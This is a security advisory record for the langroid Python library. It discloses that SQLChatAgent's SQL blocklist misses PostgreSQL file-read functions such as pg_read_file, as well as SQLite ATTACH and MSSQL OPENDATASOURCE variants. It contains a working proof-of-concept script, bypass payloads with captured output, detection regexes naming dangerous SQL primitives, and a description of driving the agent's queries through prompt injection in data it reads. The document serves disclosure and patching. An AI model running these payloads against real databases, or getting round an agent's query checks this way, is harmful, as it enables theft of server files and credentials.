id: PYSEC-2026-2580 published: "2026-07-13T15:46:27.143049Z" modified: "2026-07-13T16:04:33.685365Z" aliases: - CVE-2026-50180 - GHSA-pmch-g965-grmr summary: "Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read" details: "### Summary\n\n`SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer\nwhose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL\nprimitives by specific function name. The list misses the canonical\nPostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`,\n`pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar\n`SELECT`-shaped functions in the same family). It also leaves SQL Server\n`OPENDATASOURCE` and SQLite `ATTACH '' AS x` (DATABASE keyword\nomitted) unblocked.\n\nAn attacker able to shape the LLM's generated SQL (directly via prompt input\nor transitively via prompt-injection in data the LLM ingests) can read\narbitrary files from the PostgreSQL host through ordinary `SELECT` queries,\neven with the agent's strict default configuration\n(`allow_dangerous_operations=False`, `allowed_statement_types=['SELECT']`).\nThe payloads survive the statement-type allowlist (each is a `SELECT`) and\npass through the regex blocklist (none of the function names match), then\nreach the live SQLAlchemy engine via `SQLChatAgent.run_query`.\n\n### Affected versions\n\n`langroid` `<= 0.63.0` (latest at the time of this report; PyPI release\n2026-05-27). The vulnerable code path is\n`langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which\nconsults the module-level `_DANGEROUS_SQL_PATTERNS` literal at\n`sql_chat_agent.py:113-141`.\n\n### Privilege required\n\nAny caller able to influence the LLM-generated `RunQueryTool.query` string\nthat reaches `SQLChatAgent.run_query`. In a typical deployment this is any\nclient of a SQLChatAgent-backed service, or any upstream data source whose\ncontent the LLM is asked to read and summarise. No PostgreSQL credentials\nare required from the attacker; the agent holds them.\n\n### Vulnerable code\n\n`langroid/agent/special/sql/sql_chat_agent.py:113-141` (the\n`_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the\n`_validate_query` method that consults it):\n\n```python\n# sql_chat_agent.py:113\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_read_server_files?\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_read_binary_file\\b\", re.IGNORECASE),\n re.compile(r\"\\bpg_ls_dir\\b\", re.IGNORECASE),\n re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\battach\\s+database\\b\", re.IGNORECASE),\n re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n re.compile(r\"\\bopenrowset\\b\", re.IGNORECASE),\n re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n re.compile(\n r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger)\\b\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nThe blocklist is a list of `\\b\\b` literals. PostgreSQL ships\nseveral near-name functions on the same primitive that none of these match:\n\n| Function | What it returns | Matched by blocklist? |\n|---|---|---|\n| `pg_read_server_file('/path')` | file contents | yes (`pg_read_server_files?`) |\n| `pg_read_binary_file('/path')` | binary contents | yes |\n| `pg_ls_dir('/path')` | directory listing | yes |\n| `pg_read_file('/path')` | file contents | **no** (no `_server_` infix) |\n| `pg_stat_file('/path')` | size, mtime, ctime, atime, isdir | **no** |\n| `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** |\n| `pg_ls_waldir()` | WAL filenames and sizes | **no** |\n| `pg_ls_tmpdir()` | temp-dir listing | **no** |\n| `pg_ls_archive_statusdir()` | archive-status directory listing | **no** |\n| `pg_current_logfile()` | active server log path | **no** |\n\nEach of these is a `SELECT`-shaped function call. They pass the\n`sqlglot_exp.Select`-only statement-type allowlist applied at\n`sql_chat_agent.py:583-614`, then evade the regex blocklist (their names\ncontain no token the blocklist enumerates), then reach the SQLAlchemy\n`session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line\n631 onwards).\n\nTwo non-PostgreSQL secondary gaps with the same regex-enumeration shape:\n\n- The SQLite pattern `\\battach\\s+database\\b` requires the literal\n `DATABASE` keyword. Per the SQLite grammar\n (https://www.sqlite.org/lang_attach.html) the keyword is optional:\n `ATTACH '/path/to/db' AS x` is valid syntax and matches no entry in the\n blocklist. Whether the agent rejects this via the statement-type\n allowlist depends on how the configured `sqlglot` dialect parses it; on\n PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the\n statement-type check rejects, but a SQLite-dialect SQLChatAgent\n (`database_uri=\"sqlite:///...\"`) returns the statement as\n `sqlglot_exp.Attach`, which is not in the agent's `kind_map`, so the\n generic `type(stmt).__name__.upper()` branch produces `\"ATTACH\"`. That\n string is not in `_DEFAULT_ALLOWED_STATEMENTS` so the allowlist saves it\n here; however any deployment that extends `allowed_statement_types` to\n include `\"ATTACH\"` (e.g. to permit cross-schema connectivity) loses\n this fallback and the regex misses.\n- The MSSQL pattern `\\bopenrowset\\b` blocks `OPENROWSET` but not the\n closely-related `OPENDATASOURCE` function. Both can read\n remote/UNC files and execute remote queries via an ad-hoc connection\n string, e.g. a `SELECT` against\n `OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes')`\n qualified down to `master.sys.tables`.\n\n### Attack scenario\n\n`SQLChatAgent.run_query` (line 617 of `sql_chat_agent.py`) calls\n`self._validate_query(query)` (line 631) on the LLM-generated SQL. The\nLLM-generated SQL is shaped by upstream prompt content that crosses the\ntrust boundary: the user message, any tool result the LLM is asked to\nsummarise, any document the agent retrieves, and any row the agent reads\nback from its own database (the `RunQueryTool` result is fed back into the\nLLM history at `sql_chat_agent.py:712-720` of the same release).\n\nThe default config in `SQLChatAgentConfig` (lines 183-184) sets\n`allow_dangerous_operations=False` and `allowed_statement_types=[\"SELECT\"]`,\nwhich is the configuration `_validate_query` was added to support. The\nbypass primitives below are reachable under this default config because\neach is a syntactic `SELECT` whose function-call argument is the\ndisclosure vector.\n\n### Proof of concept\n\n`poc.py` (single-file, no external services beyond a transient PostgreSQL\nspawned via `testing.postgresql`):\n\n```python\n\"\"\"\nPoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure\nfamily pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /\npg_current_logfile.\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom typing import List, Optional\n\nPKG = \"/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid\"\nSRC = f\"{PKG}/agent/special/sql/sql_chat_agent.py\"\nassert os.path.exists(SRC), f\"Missing pinned langroid source: {SRC}\"\n\nimport sqlglot\nfrom sqlglot import expressions as sqlglot_exp\n\n\ndef load_patterns_from_pinned_source():\n \"\"\"Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from\n the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the\n full agent stack (which needs an LLM config).\"\"\"\n with open(SRC) as f:\n source = f.read()\n block = re.search(\n r\"_DANGEROUS_SQL_PATTERNS:[^=]*=\\s*\\[(.*?)\\]\\s*\\n\", source, re.DOTALL,\n )\n ns = {\"re\": re, \"List\": list}\n patterns = eval(\"[\" + block.group(1) + \"]\", ns)\n allowed = eval(\n re.search(\n r\"_DEFAULT_ALLOWED_STATEMENTS:\\s*List\\[str\\]\\s*=\\s*(\\[.*?\\])\",\n source, re.DOTALL,\n ).group(1)\n )\n return patterns, allowed\n\n\ndef validate_query(query, patterns, allowed_statements, dialect=\"postgres\"):\n \"\"\"Faithful reimplementation of SQLChatAgent._validate_query.\"\"\"\n for pat in patterns:\n if pat.search(query):\n return f\"Rejected by pattern {pat.pattern!r}\"\n allowed = {t.strip().upper() for t in allowed_statements}\n try:\n statements = sqlglot.parse(query, read=dialect)\n except Exception as e:\n return f\"Rejected: sqlglot parse failure: {e}\"\n kind_map = {\n sqlglot_exp.Select: \"SELECT\", sqlglot_exp.Insert: \"INSERT\",\n sqlglot_exp.Update: \"UPDATE\", sqlglot_exp.Delete: \"DELETE\",\n sqlglot_exp.Merge: \"MERGE\", sqlglot_exp.Create: \"CREATE\",\n sqlglot_exp.Drop: \"DROP\", sqlglot_exp.Alter: \"ALTER\",\n sqlglot_exp.TruncateTable: \"TRUNCATE\", sqlglot_exp.Command: \"COMMAND\",\n }\n for stmt in statements:\n if stmt is None:\n continue\n kind = next(\n (v for k, v in kind_map.items() if isinstance(stmt, k)),\n type(stmt).__name__.upper(),\n )\n if kind not in allowed:\n return f\"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}\"\n return None\n\n\ndef main():\n patched_patterns, allowed_statements = load_patterns_from_pinned_source()\n print(f\"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}\")\n print(f\"_DEFAULT_ALLOWED_STATEMENTS: {allowed_statements}\")\n\n import testing.postgresql\n from sqlalchemy import create_engine, text\n\n pg = testing.postgresql.Postgresql()\n db_uri = pg.url()\n engine = create_engine(db_uri)\n with engine.connect() as conn:\n pgdata = conn.execute(text(\"SHOW data_directory\")).scalar()\n victim_rel = \"langroid_bypass_victim.txt\"\n victim_abs = os.path.join(pgdata, victim_rel)\n with open(victim_abs, \"w\") as f:\n f.write(\"PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\")\n print(f\"=== Victim file at: {victim_abs}\")\n\n bypass_payloads = [\n (\"bypass.pg_read_file\", f\"SELECT pg_read_file('{victim_rel}')\"),\n (\"bypass.pg_stat_file\", f\"SELECT pg_stat_file('{victim_rel}')\"),\n (\"bypass.pg_ls_logdir\", \"SELECT pg_ls_logdir()\"),\n (\"bypass.pg_ls_waldir\", \"SELECT pg_ls_waldir()\"),\n (\"bypass.pg_current_logfile\", \"SELECT pg_current_logfile()\"),\n ]\n\n for label, query in bypass_payloads:\n rej = validate_query(query, patched_patterns, allowed_statements, \"postgres\")\n verdict = \"REJECTED\" if rej is not None else \"ALLOWED\"\n print(f\" [{verdict}] {label}: {query}\")\n if verdict == \"ALLOWED\":\n try:\n with engine.connect() as conn:\n rows = conn.execute(text(query)).fetchall()\n preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]\n print(f\" -> live engine returned rows={len(rows)} preview={preview}\")\n except Exception as e:\n print(f\" -> live engine error: {type(e).__name__}: {str(e)[:120]}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### End-to-end reproduction\n\nRun against the latest published `langroid` release from PyPI; no external\nLLM provider, no API key, no Docker, just a transient `pg_ctl`-managed\nPostgreSQL spawned in-process by `testing.postgresql`. Captured transcript\nof the run is below.\n\n```bash\n# 1. Pin install the latest published release\npython3.12 -m venv /tmp/poc-langroid-bypass/venv\nsource /tmp/poc-langroid-bypass/venv/bin/activate\npip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'\n\n# 2. Drop poc.py from the Proof-of-concept section above into\n# /tmp/poc-langroid-bypass/poc.py and run it\npython /tmp/poc-langroid-bypass/poc.py\n```\n\nObserved transcript (abridged to bypass results; the run also verifies\nthat the four primitives the current blocklist already covers\n(`COPY ... TO PROGRAM`, `pg_read_server_file`, `pg_read_binary_file`,\n`pg_ls_dir`) continue to be REJECTED, confirming the proposed fix is\nstrictly broader, not narrower):\n\n```text\n_DANGEROUS_SQL_PATTERNS count: 17\n_DEFAULT_ALLOWED_STATEMENTS: ['SELECT']\n=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test\n=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt\n\nPATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)\n [ALLOWED] bypass.pg_read_file SELECT pg_read_file('langroid_bypass_victim.txt')\n [ALLOWED] bypass.pg_stat_file SELECT pg_stat_file('langroid_bypass_victim.txt')\n [ALLOWED] bypass.pg_ls_logdir SELECT pg_ls_logdir()\n [ALLOWED] bypass.pg_ls_waldir SELECT pg_ls_waldir()\n [ALLOWED] bypass.pg_current_logfile SELECT pg_current_logfile()\n\nLIVE EXECUTION OF BYPASS PAYLOADS (postgres only)\n [EXECUTED] bypass.pg_read_file -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n',)]\n [EXECUTED] bypass.pg_stat_file -> rows=1 preview=[('(35,\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",,',)]\n [EXECUTED] bypass.pg_ls_waldir -> rows=1 preview=[('(000000010000000000000001,16777216,\"2026-05-28 10:11:19+08\")',)]\n [EXECUTED] bypass.pg_current_logfile -> rows=1 preview=[('None',)]\n\nNEGATIVE CONTROL — SUGGESTED FIX VALIDATOR\n [REJECTED] bypass.pg_read_file -> OK\n [REJECTED] bypass.pg_stat_file -> OK\n [REJECTED] bypass.pg_ls_logdir -> OK\n [REJECTED] bypass.pg_ls_waldir -> OK\n [REJECTED] bypass.pg_current_logfile -> OK\n [REJECTED] already_blocked.copy_program -> OK\n [REJECTED] already_blocked.pg_read_server_file -> OK\n [REJECTED] already_blocked.pg_read_binary_file -> OK\n [REJECTED] already_blocked.pg_ls_dir -> OK\n```\n\nThe headline payload `SELECT pg_read_file('langroid_bypass_victim.txt')`\nreturns the marker string verbatim from the file on disk. The same SQL,\nissued by an LLM under prompt-injection through any data source the agent\nreads, would land identically — the validator is purely a function of the\nSQL string and is consulted before the SQLAlchemy execute.\n\n`_validate_query` is invoked directly rather than through a fully\ninitialised `SQLChatAgent` because the agent's `__init__` builds the LLM\nstack and demands a working LLM API key (or a stub). The security\ncontrol under test is purely a function of `(query, patterns,\nallowed_statements, dialect)`, so the direct call is observationally\nequivalent to a call via `run_query`. Patterns and allowed-statements are\nloaded by reading the pinned `sql_chat_agent.py` source out of the venv,\nguaranteeing no drift between PoC and shipped binary.\n\n### Impact\n\n- **Arbitrary file read** from the PostgreSQL host: `pg_read_file()` reads\n files from PGDATA-relative paths by default and can take absolute paths\n when the DB role holds `pg_read_server_files` (or equivalent in\n managed-Postgres setups). For self-managed PostgreSQL deployments the\n DB role is frequently a superuser, in which case absolute paths are\n always accepted and the impact extends to `postgresql.conf`,\n `pg_hba.conf`, `~/.pgpass`, TLS keys, and any other file readable by\n the PostgreSQL OS user.\n- **Filesystem reconnaissance** via `pg_stat_file()` (file existence,\n size, mtime, isdir), `pg_ls_logdir()`, `pg_ls_waldir()`,\n `pg_ls_tmpdir()`, `pg_ls_archive_statusdir()`,\n `pg_current_logfile()`.\n- **MSSQL extension:** `OPENDATASOURCE` reaches remote SQL Servers and\n UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL\n deployments.\n- **SQLite extension:** `ATTACH '' AS schemaname` (DATABASE keyword\n omitted) allows reading/writing arbitrary SQLite files on deployments\n whose `allowed_statement_types` include `\"ATTACH\"`.\n\n### Suggested fix\n\nPatch `_DANGEROUS_SQL_PATTERNS` to cover the full family rather than\nindividual function names. Two compatible approaches; either is enough.\n\nApproach 1 — family-prefix regex (minimal change, simplest to review):\n\n```python\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile\n # family. Covers pg_read_file, pg_read_server_file(s),\n # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,\n # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,\n # pg_current_logfile, plus any future siblings PostgreSQL adds.\n re.compile(\n r\"\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.\n # The DATABASE keyword is optional; match either form.\n re.compile(r\"\\battach\\b(\\s+database)?\\s+['\\\"\\w]\", re.IGNORECASE),\n re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n re.compile(r\"\\b(openrowset|opendatasource)\\b\", re.IGNORECASE),\n re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n re.compile(\n r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger|language|rule|event\\s+trigger|foreign\\s+table)\\b\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nApproach 2 — `sqlglot` AST walk in addition to regex. `sqlglot` is already\nimported by `sql_chat_agent.py`; iterate every function-call node\n(`sqlglot_exp.Anonymous` / `sqlglot_exp.Func`) inside the parsed\nstatements and reject when the lower-cased name starts with `pg_read`,\n`pg_stat`, `pg_ls`, `pg_current_logfile`, `lo_`, or matches the MSSQL\nextended-procedure prefixes (`xp_`, `sp_oa`). AST matching is robust to\nwhitespace, comments, and case games inside identifiers, at the cost of\nbroader per-dialect maintenance. For closing the immediate gap, Approach\n1 is sufficient.\n\nRegression-test the additions in\n`tests/main/sql_chat/test_sql_chat_security.py` alongside the existing\nsecurity tests. A natural 7-case extension covers the 5 PostgreSQL\nbypass payloads, the SQLite `ATTACH ... AS x` form, and the MSSQL\n`OPENDATASOURCE` form.\n\n### Fix PR\n\nA private temp-fork PR applying the **Suggested fix** Approach 1 diff,\nplus the regression tests described above, accompanies this advisory:\nhttps://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1\n\n### Credit\n\nReported by tonghuaroot." affected: - package: name: langroid ecosystem: PyPI purl: pkg:pypi/langroid ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.64.0 versions: - 0.1.100 - 0.1.101 - 0.1.102 - 0.1.103 - 0.1.104 - 0.1.105 - 0.1.106 - 0.1.107 - 0.1.108 - 0.1.109 - 0.1.11 - 0.1.110 - 0.1.111 - 0.1.112 - 0.1.113 - 0.1.114 - 0.1.117 - 0.1.118 - 0.1.119 - 0.1.12 - 0.1.120 - 0.1.121 - 0.1.122 - 0.1.123 - 0.1.124 - 0.1.125 - 0.1.126 - 0.1.127 - 0.1.128 - 0.1.129 - 0.1.13 - 0.1.130 - 0.1.131 - 0.1.132 - 0.1.133 - 0.1.134 - 0.1.135 - 0.1.136 - 0.1.137 - 0.1.138 - 0.1.139 - 0.1.140 - 0.1.141 - 0.1.142 - 0.1.143 - 0.1.144 - 0.1.145 - 0.1.147 - 0.1.148 - 0.1.149 - 0.1.15 - 0.1.150 - 0.1.151 - 0.1.152 - 0.1.153 - 0.1.154 - 0.1.155 - 0.1.156 - 0.1.157 - 0.1.158 - 0.1.159 - 0.1.160 - 0.1.161 - 0.1.162 - 0.1.163 - 0.1.164 - 0.1.165 - 0.1.166 - 0.1.167 - 0.1.168 - 0.1.169 - 0.1.17 - 0.1.170 - 0.1.171 - 0.1.172 - 0.1.173 - 0.1.174 - 0.1.175 - 0.1.176 - 0.1.177 - 0.1.178 - 0.1.179 - 0.1.18 - 0.1.181 - 0.1.182 - 0.1.183 - 0.1.184 - 0.1.185 - 0.1.186 - 0.1.187 - 0.1.188 - 0.1.189 - 0.1.19 - 0.1.190 - 0.1.191 - 0.1.192 - 0.1.193 - 0.1.194 - 0.1.195 - 0.1.196 - 0.1.197 - 0.1.198 - 0.1.199 - 0.1.20 - 0.1.200 - 0.1.201 - 0.1.202 - 0.1.203 - 0.1.205 - 0.1.206 - 0.1.207 - 0.1.208 - 0.1.209 - 0.1.21 - 0.1.210 - 0.1.211 - 0.1.212 - 0.1.213 - 0.1.214 - 0.1.215 - 0.1.217 - 0.1.218 - 0.1.219 - 0.1.22 - 0.1.221 - 0.1.222 - 0.1.224 - 0.1.225 - 0.1.226 - 0.1.227 - 0.1.228 - 0.1.229 - 0.1.23 - 0.1.230 - 0.1.231 - 0.1.233 - 0.1.234 - 0.1.235 - 0.1.236 - 0.1.237 - 0.1.238 - 0.1.239 - 0.1.24 - 0.1.240 - 0.1.241 - 0.1.243 - 0.1.244 - 0.1.245 - 0.1.246 - 0.1.247 - 0.1.248 - 0.1.249 - 0.1.25 - 0.1.250 - 0.1.251 - 0.1.252 - 0.1.253 - 0.1.254 - 0.1.256 - 0.1.257 - 0.1.258 - 0.1.26 - 0.1.260 - 0.1.261 - 0.1.262 - 0.1.263 - 0.1.265 - 0.1.27 - 0.1.28 - 0.1.29 - 0.1.30 - 0.1.31 - 0.1.32 - 0.1.33 - 0.1.34 - 0.1.35 - 0.1.36 - 0.1.37 - 0.1.38 - 0.1.39 - 0.1.40 - 0.1.41 - 0.1.42 - 0.1.43 - 0.1.44 - 0.1.46 - 0.1.47 - 0.1.48 - 0.1.49 - 0.1.50 - 0.1.51 - 0.1.52 - 0.1.53 - 0.1.54 - 0.1.55 - 0.1.56 - 0.1.57 - 0.1.58 - 0.1.59 - 0.1.60 - 0.1.61 - 0.1.62 - 0.1.63 - 0.1.64 - 0.1.65 - 0.1.66 - 0.1.67 - 0.1.68 - 0.1.69 - 0.1.72 - 0.1.73 - 0.1.76 - 0.1.77 - 0.1.78 - 0.1.79 - 0.1.8 - 0.1.80 - 0.1.81 - 0.1.83 - 0.1.84 - 0.1.85 - 0.1.86 - 0.1.87 - 0.1.88 - 0.1.89 - 0.1.9 - 0.1.90 - 0.1.91 - 0.1.92 - 0.1.93 - 0.1.94 - 0.1.95 - 0.1.96 - 0.1.97 - 0.1.98 - 0.1.99 - 0.10.0 - 0.10.1 - 0.10.2 - 0.11.0 - 0.12.0 - 0.13.0 - 0.14.0 - 0.15.0 - 0.15.1 - 0.15.2 - 0.16.0 - 0.16.1 - 0.16.2 - 0.16.3 - 0.16.4 - 0.16.5 - 0.16.6 - 0.16.7 - 0.17.0 - 0.17.1 - 0.18.0 - 0.18.1 - 0.18.2 - 0.18.3 - 0.19.0 - 0.19.1 - 0.19.2 - 0.19.3 - 0.19.4 - 0.19.5 - 0.2.0 - 0.2.10 - 0.2.11 - 0.2.12 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.2.6 - 0.2.7 - 0.2.9 - 0.20.0 - 0.20.1 - 0.21.0 - 0.22.0 - 0.22.1 - 0.22.2 - 0.22.3 - 0.22.4 - 0.22.5 - 0.22.6 - 0.22.7 - 0.23.0 - 0.23.1 - 0.23.2 - 0.23.3 - 0.24.1 - 0.25.0 - 0.26.0 - 0.26.1 - 0.26.2 - 0.27.1 - 0.27.2 - 0.27.3 - 0.27.4 - 0.28.0 - 0.28.1 - 0.28.2 - 0.28.3 - 0.28.4 - 0.28.5 - 0.28.6 - 0.28.7 - 0.29.0 - 0.3.0 - 0.3.1 - 0.30.0 - 0.30.1 - 0.31.0 - 0.31.1 - 0.31.2 - 0.31.3 - 0.32.0 - 0.32.1 - 0.32.2 - 0.33.10 - 0.33.11 - 0.33.12 - 0.33.13 - 0.33.3 - 0.33.4 - 0.33.6 - 0.33.7 - 0.33.8 - 0.33.9 - 0.34.0 - 0.34.1 - 0.35.0 - 0.35.1 - 0.36.0 - 0.36.1 - 0.37.0 - 0.37.1 - 0.37.2 - 0.37.3 - 0.37.4 - 0.37.5 - 0.37.6 - 0.37.7 - 0.38.0 - 0.39.0 - 0.39.1 - 0.39.2 - 0.39.3 - 0.39.4 - 0.39.5 - 0.40.0 - 0.41.0 - 0.41.1 - 0.41.2 - 0.41.3 - 0.41.4 - 0.41.5 - 0.42.0 - 0.42.1 - 0.42.10 - 0.42.2 - 0.42.3 - 0.42.4 - 0.42.5 - 0.42.6 - 0.42.7 - 0.42.8 - 0.42.9 - 0.43.0 - 0.43.1 - 0.44.0 - 0.45.0 - 0.45.1 - 0.45.10 - 0.45.2 - 0.45.3 - 0.45.4 - 0.45.5 - 0.45.6 - 0.45.7 - 0.45.8 - 0.46.0 - 0.47.0 - 0.47.1 - 0.47.2 - 0.48.0 - 0.48.1 - 0.48.2 - 0.48.3 - 0.49.0 - 0.49.1 - 0.5.0 - 0.5.1 - 0.50.0 - 0.50.1 - 0.50.10 - 0.50.11 - 0.50.12 - 0.50.2 - 0.50.3 - 0.50.4 - 0.50.5 - 0.50.6 - 0.50.7 - 0.50.8 - 0.50.9 - 0.51.0 - 0.51.1 - 0.51.2 - 0.52.0 - 0.52.1 - 0.52.2 - 0.52.3 - 0.52.4 - 0.52.5 - 0.52.6 - 0.52.7 - 0.52.8 - 0.52.9 - 0.53.0 - 0.53.1 - 0.53.10 - 0.53.11 - 0.53.12 - 0.53.13 - 0.53.14 - 0.53.15 - 0.53.16 - 0.53.2 - 0.53.4 - 0.53.5 - 0.53.6 - 0.53.7 - 0.53.8 - 0.54.0 - 0.54.1 - 0.54.2 - 0.55.0 - 0.55.1 - 0.56.0 - 0.56.1 - 0.56.10 - 0.56.11 - 0.56.12 - 0.56.13 - 0.56.14 - 0.56.15 - 0.56.16 - 0.56.17 - 0.56.18 - 0.56.19 - 0.56.2 - 0.56.3 - 0.56.4 - 0.56.5 - 0.56.6 - 0.56.7 - 0.56.8 - 0.56.9 - 0.57.0 - 0.58.0 - 0.58.1 - 0.58.2 - 0.58.3 - 0.59.0 - 0.59.0b1 - 0.59.0b2 - 0.59.0b3 - 0.59.1 - 0.59.10 - 0.59.11 - 0.59.12 - 0.59.13 - 0.59.14 - 0.59.15 - 0.59.16 - 0.59.17 - 0.59.18 - 0.59.19 - 0.59.2 - 0.59.20 - 0.59.21 - 0.59.22 - 0.59.23 - 0.59.24 - 0.59.25 - 0.59.26 - 0.59.27 - 0.59.28 - 0.59.29 - 0.59.3 - 0.59.30 - 0.59.31 - 0.59.32 - 0.59.33 - 0.59.34 - 0.59.35 - 0.59.36 - 0.59.37 - 0.59.38 - 0.59.39 - 0.59.4 - 0.59.5 - 0.59.6 - 0.59.7 - 0.59.8 - 0.59.9 - 0.6.0 - 0.6.1 - 0.6.3 - 0.6.4 - 0.6.5 - 0.6.6 - 0.6.7 - 0.60.0 - 0.60.1 - 0.60.2 - 0.60.3 - 0.61.0 - 0.61.1 - 0.62.0 - 0.63.0 - 0.8.0 - 0.9.0 - 0.9.1 - 0.9.2 - 0.9.3 - 0.9.4 - 0.9.5 references: - type: WEB url: https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr - type: WEB url: https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba - type: PACKAGE url: https://github.com/langroid/langroid - type: PACKAGE url: https://pypi.org/project/langroid - type: ADVISORY url: https://github.com/advisories/GHSA-pmch-g965-grmr - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-50180 severity: - type: CVSS_V4 score: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N